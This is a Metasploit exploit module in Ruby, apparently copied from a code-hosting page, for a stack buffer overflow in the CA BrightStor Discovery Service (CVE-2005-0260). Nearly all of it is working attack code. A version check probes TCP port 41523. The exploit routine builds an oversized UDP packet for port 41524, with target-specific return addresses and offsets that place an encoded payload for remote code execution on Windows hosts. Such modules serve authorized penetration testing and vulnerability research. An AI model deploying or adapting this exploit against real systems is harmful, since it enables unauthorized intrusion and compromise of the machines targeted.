129 lines
3.0 KiB
Ruby
129 lines
3.0 KiB
Ruby
##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::Tcp
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include Msf::Exploit::Remote::Udp
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'CA BrightStor Discovery Service Stack Buffer Overflow',
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'Description' => %q{
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This module exploits a vulnerability in the CA BrightStor
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Discovery Service. This vulnerability occurs when a large
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request is sent to UDP port 41524, triggering a stack buffer
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overflow.
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},
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'Author' => [ 'hdm', 'patrick' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2005-0260'],
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[ 'OSVDB', '13613'],
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[ 'BID', '12491'],
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[ 'URL', 'http://www.idefense.com/application/poi/display?id=194&type=vulnerabilities'],
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],
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'Privileged' => true,
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'Payload' =>
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{
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'Space' => 2048,
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'BadChars' => "\x00",
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'StackAdjustment' => -3500,
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},
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'Platform' => %w{ win },
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'Targets' =>
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[
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[
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'cheyprod.dll 12/12/2003',
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{
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'Platform' => 'win',
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'Ret' => 0x23808eb0, # call to edi reg
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'Offset' => 968,
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},
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],
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[
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'cheyprod.dll 07/21/2004',
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{
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'Platform' => 'win',
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'Ret' => 0x2380a908, # call edi
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'Offset' => 970,
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},
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],
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],
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'DisclosureDate' => 'Dec 20 2004',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(41524)
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], self.class)
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end
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def check
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# The first request should have no reply
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csock = Rex::Socket::Tcp.create(
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'PeerHost' => datastore['RHOST'],
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'PeerPort' => 41523,
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'Context' =>
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{
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'Msf' => framework,
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'MsfExploit' => self,
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})
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csock.put('META')
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x = csock.get_once(-1, 3)
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csock.close
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# The second request should be replied with the host name
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csock = Rex::Socket::Tcp.create(
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'PeerHost' => datastore['RHOST'],
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'PeerPort' => 41523,
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'Context' =>
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{
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'Msf' => framework,
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'MsfExploit' => self,
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})
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csock.put('hMETA')
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y = csock.get_once(-1, 3)
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csock.close
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if (y and not x)
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return Exploit::CheckCode::Detected
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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connect_udp
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print_status("Trying target #{target.name}...")
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buf = rand_text_english(4096)
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# Target 0:
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#
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# esp @ 971
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# ret @ 968
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# edi @ 1046
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# end = 4092
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buf[target['Offset'], 4] = [ target.ret ].pack('V')
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buf[1046, payload.encoded.length] = payload.encoded
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udp_sock.put(buf)
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udp_sock.recvfrom(8192)
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handler
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disconnect_udp
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end
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end
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